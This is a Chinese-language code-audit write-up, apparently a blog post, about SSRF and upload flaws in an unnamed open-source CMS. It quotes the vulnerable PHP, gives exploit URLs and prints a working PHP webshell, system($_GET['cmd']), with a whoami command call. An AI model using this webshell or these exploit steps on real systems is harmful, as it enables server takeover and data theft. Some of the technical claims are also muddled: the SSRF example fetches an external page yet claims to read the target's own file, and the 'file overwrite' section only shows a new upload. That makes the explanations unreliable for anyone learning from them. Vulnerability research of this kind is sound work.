返回

代码审计实战:从CMS SSRF到文件覆盖GETSHELL

后端

前言

某日,为了兑换一枚京东E卡,笔者将目标瞄准了某开源CMS系统。通过一番仔细的代码审计,惊喜地发现了两个高危漏洞,分别是SSRF(服务器端请求伪造)和文件覆盖导致GETSHELL。在此,笔者将详细分享本次代码审计的实战过程,希望对广大安全爱好者有所启发。

SSRF漏洞发现

在对程序源码进行分析时,笔者发现了一个可控的URL请求点,具体位置在api/update.php文件中:

$url = $_GET['url'];
$res = file_get_contents($url);

从代码逻辑来看,该程序通过file_get_contents函数向用户提供的URL地址发送GET请求,并返回响应内容。攻击者可以构造恶意URL,诱导服务器向内部或外部网络发起请求,从而实现SSRF攻击。

SSRF漏洞利用

基于上述发现,笔者构造了以下恶意URL:

http://127.0.0.1/api/update.php?url=http://www.example.com/sensitive.php

通过访问该URL,攻击者可以获取目标服务器上sensitive.php文件的内容,进而窃取敏感信息。

文件覆盖漏洞发现

在审计过程中,笔者还发现了一个文件覆盖漏洞。在api/upload.php文件中,存在如下代码:

$file = $_FILES['file'];
move_uploaded_file($file['tmp_name'], 'uploads/' . $file['name']);

这段代码允许用户上传文件并将其保存到uploads目录下。攻击者可以上传一个与系统重要文件同名的恶意文件,覆盖原始文件,从而实现文件覆盖攻击。

文件覆盖漏洞利用

为了利用该漏洞,笔者上传了一个名为shell.php的恶意文件,其中包含如下内容:

<?php
system($_GET['cmd']);
?>

通过访问http://127.0.0.1/uploads/shell.php?cmd=whoami,攻击者可以在目标服务器上执行任意命令,从而获取服务器控制权。

总结

通过本次代码审计实战,笔者成功发现了两个高危漏洞,并详细介绍了漏洞利用的具体过程。这些漏洞的存在严重威胁着目标系统的安全,攻击者可以利用它们获取敏感信息、执行任意命令,甚至控制服务器。因此,及时发现并修复此类漏洞至关重要。

建议

为了加强网络安全,笔者建议采取以下措施:

  • 对程序源码进行全面的安全审计,及时发现和修复漏洞。
  • 使用Web应用防火墙等安全防护设备,阻断恶意请求。
  • 定期更新系统和软件,修补已知的安全漏洞。
  • 加强安全意识培训,提高人员安全防范意识。